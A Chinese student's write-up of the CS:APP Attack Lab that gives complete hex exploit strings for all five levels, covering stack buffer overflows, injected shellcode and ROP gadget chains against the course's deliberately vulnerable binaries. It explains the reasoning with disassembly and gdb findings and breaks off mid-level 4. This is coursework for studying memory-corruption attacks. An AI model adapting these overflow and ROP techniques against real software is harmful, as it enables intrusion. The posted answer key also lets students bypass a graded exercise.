CSAPP_AttackLab实验报告

时间:2021-02-02 17:48:54

目录

屏幕截图

CSAPP_AttackLab实验报告

CSAPP_AttackLab实验报告

考察内容

本次lab主要考察对栈帧的掌握程度以及对Ctrl F的掌握程度。

各题答案

level1

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
c0 17 40 00

level2

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55

level3

48 c7 c7 ac dc 61 55 68
fa 18 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55 00 00 00 00
00 00 00 00 35 39 62 39
39 37 66 61 00 00 00 00

level4

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

level5

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00

解题思路

level1

任务

利用缓冲区溢出使getbuf函数结束后返回touch1。

思路

将可执行文件ctarget反汇编后,查看getbuf部分的指令:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>

从语句4017a8可以看出,getbuf函数预留的缓冲区长度为40byte。根据栈帧结构,只需要先用40byte的无意义数据覆盖缓冲区,再输入touch1函数的首地址就完成了。同时这个attack是免疫栈随机化和栈不可运行的。

查看touch1的首地址为0x4017c0,根据小端法,只需要在无意义数据的后面添上c0 17 40即可。

level2

任务

利用缓冲区溢出使getbuf结束后返回touch2,同时寄存器rdi的值被修改为0x59b997fa。

思路

因为需要利用缓冲区溢出修改寄存器的值,因此联想到将指令写入栈中并在栈上运行。

新建文件1.s,在其中写入以下内容:

movq $0x59b997fa,%rdi //将rdi里的值修改为cookie
pushq $0x4017ec       //将touch2的首地址压入栈中
ret

在终端中执行指令gcc -c 1.s,将汇编语言编译为二进制文件,然后再通过objdump指令反汇编,得出汇编指令的机器语言:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

将机器语言代码加入exploit.txt中,用gdb调试查看getbuf开辟缓冲区后rsp的值为0x5561dc78,因此在覆盖数据后加入78 dc 61 55即可。

level3

任务

利用缓冲区溢出使getbuf结束后返回touch3,同时使寄存器rdi指向"59b997fa"字符串的首地址。

思路

首先的思路是将level2的机器代码稍微改一下:将字符串的ASCII码放在缓冲区中,机器语言代码中将寄存器rdi的值改为栈中字符串的首地址,然后将touch3的首地址压入栈中。

尝试之后发现返回结果不是PASS而是misfire。调用gdb查看rip指向touch3时原getbuf缓冲区的值,发现由于getbuf缓冲区长度过小,导致调用touch3后由于退栈导致rsp覆盖了原本放置字符串的区域。因此将cookie放在缓冲区中是不可行的。

后来想到既然由于函数跳转,getbuf的栈帧不可用,那么可以将字符串放在相较getbuf栈帧更接近底层的地方,也就是放在返回地址的后面。这样更加不容易被覆盖。

level4

任务

在开启栈随机化和栈不可执行的条件下,利用缓冲区溢出和ROP注入完成level2的任务。

思路

由于栈不可执行,level2中直接在栈上执行代码的方法失效了。PPT提示使用ROP注入的方式。意思是在rtarget的farm部分中有一大堆奇怪的函数,这些函数代码编译后的二进制形式的某一部分可以被理解为汇编指令。因此可以将getbuf的返回地址重定向到该部分开头处,就可以间接达成任务要求。

然而并没有发现在farm中有类似movq $0x59b997fa,%rdi这样的语句。再加上ROP table.pdf中给出的只有从寄存器到寄存器、从栈到寄存器的操作。因此想到可以先将0x59b997fa存放在栈中,然后利用farm里的popq操作将cookie间接赋给rdi。

利用Ctrl F在反汇编后的rtarget文件的farm部分中查找和popq有关的关键字,发现只有在 中含有和popq有关的关键字,且之后内容为代表空的"90"。

00000000004019a7 <addval_219>:
  //下行“58”开头的代码等价于"popq %rax"
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),